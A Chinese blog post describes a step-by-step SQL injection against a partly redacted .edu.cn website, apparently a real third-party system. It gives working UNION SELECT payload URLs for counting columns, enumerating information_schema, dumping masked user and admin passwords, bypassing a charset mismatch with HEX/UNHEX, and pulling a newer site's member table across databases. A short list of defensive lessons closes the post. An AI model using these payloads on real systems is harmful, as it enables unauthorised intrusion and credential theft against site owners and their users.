记一次标准化SQL注入

以下是对某网站一次教科书式的SQL注入攻击,因为该类漏洞大量存在于比较陈旧的网站中,具有很强的可复制性,写下来仅供参考.

注入点

同一个服务器上可能部署了多个网站,甚至是已经废弃但是还没有被关闭的旧版网站,新开发的网站一般都会使用一些开发框架或者是基于开源系统的二次开发,存在严重漏洞的机会相对较小,而攻击就可以从那些老旧的网站入手.

http://www.xxxxx.edu.cn/xxxx/team_intro.php?id=41'
这是老版网站中的一个注入点,加 ' 注入,直接爆出表名.
 有效信息:
     表名 : ee_team_intro

获取字段数

因为使用UNION SELECT查询时,要求被拼接的两张表的字段数必须相等,所以需要首先知道当前表的字段数量,以及字段与页面数据的对应关系.

url_decode %23 = # ,作用是注释掉之后的SQL语句.

http://www.xxxxx.edu.cn/2011/xxxxx/team_intro.php?id=41'%20or%201='1'%20UNION%20Select%201,2,3,4,5,6,7,8,9,10,11,12,13%20FROM%20ee_team_intro%23
 有效信息:
     ee_team_intro 13个字段,以及对应在页面中的位置.

获取其他表名

informationschema 保存了当前Mysql中所有数据库的结构信息,充分利用可以获取大量有效的信息.以下语句可以获得以ee开头的全部数据表(当前数据库中的表都以ee开头).

url_decode %25 = % ,作用是在SQL语句中使用LIKE.

 http://www.xxxxx.edu.cn/2011/xxxxx/team_intro.php?id=41'%20and%201='0'%20UNION%20Select%201,TABLE_NAME,3,4,5,6,7,8,9,10,11,12,13%20FROM%20information_schema.TABLES%20WHERE%20TABLE_NAME%20LIKE%20%22%25ee_%25%22%%23
 有效信息:
     有价值的表名 ee_admin,ee_user

获取字段

http://www.xxxxx.edu.cn/xxxxx/team_intro.php?id=41'%20and%201='0'%20UNION%20Select%201,COLUMN_NAME,3,4,5,6,7,8,9,10,11,12,13%20FROM%20information_schema.`COLUMNS`%20WHERE%20TABLE_NAME='ee_admin'%20LIMIT%201,1%23
 有效信息:
     有价值的字段 
     ee_admin : id,name,password,class
     ee_user : id,name,pwd , ...

爆数据

user表

http://www.xxxxx.edu.cn/xxxxx/team_intro.php?id=41'%20and%201=0%20UNION%20SELECT%201,pwd,name,4,5,6,7,8,9,10,11,12,13%20FROM%20`ee_user`%20WHERE%201%20%23
 有效信息:
    user表数据: 
      ad** : l***9
      徐** : 1***6
      钱** : y***g

admin表

用同样方法尝试爆出ee_admin数据时,却发现无法查出admin的name和password信息,却可以查出id等数字字段,经分析认为是字段采用的字符集不同导致 UNION SELECT 出错,经验证:
ee_team_intro,ee_user 字符集编码为 latin1_swedish_ci
ee_admin 字符集编码为 gbk_chinese_ci

用HEX函数转为16进制的方式解决该问题。

http://www.xxxxx.edu.cn/xxxxx/team_intro.php?id=41'%20and%201=0%20UNION%20SELECT%201,UNHEX(HEX(password)),UNHEX(HEX(name)),4,5,6,7,8,9,10,11,12,13%20FROM%20`ee_admin`%20WHERE%201%20%23
 有效信息:
    admin表数据: 
       b** : ***
       l** : ***

跨数据库攻击

老网站数据库中的信息价值也许并不大,不过我们可以从老网站的sql漏洞爆出新版网站数据.新网站上不太严重的SQL漏洞为我们提供了数据表的命名方式及数据库名称,不过就算没有也没关系,我们照样可以通过穷举informationschema.Table中的数据去得到我们需要的信息.

还是相同的方式:

http://www.xxxxx.edu.cn/2011/xxxxx/team_intro.php?id=41'%20and%201=0%20UNION%20ALL%20SELECT%201,UNHEX(HEX(`password`)),UNHEX(HEX(`username`)),4,5,6,7,8,9,10,11,12,13%20FROM%20dircms_gbk_sp1.`dircms_member`%20WHERE%201%20LIMIT%200,1%23
 有效信息:
    dircms_member表数据: 
      d**s : ***
      a**s : ***
      电**院 : ***

结语

   至此,我们基本上已经拿到了我们需要的一切.通过这次注入,我们也能得到一些启示:
  • 开发时尽可能使用成熟的开发框架,而不是完全DIY以减少因个人疏忽而造成的不必要的漏洞.
  • 废弃的网站一定要及时关闭,不然很可能对同一台服务器上其他的网站系统造成威胁.
  • 开源系统的质量参差不齐,即使二次开发也不要过于依赖开源系统的可靠性,当然,除非你并不太关心系统的安全性问题~
  • 从用户的角度,尽可能不要把重要的信息放在看起来就很不靠谱的网站上,否则将可能会带来危险.

sql injection

Show Comments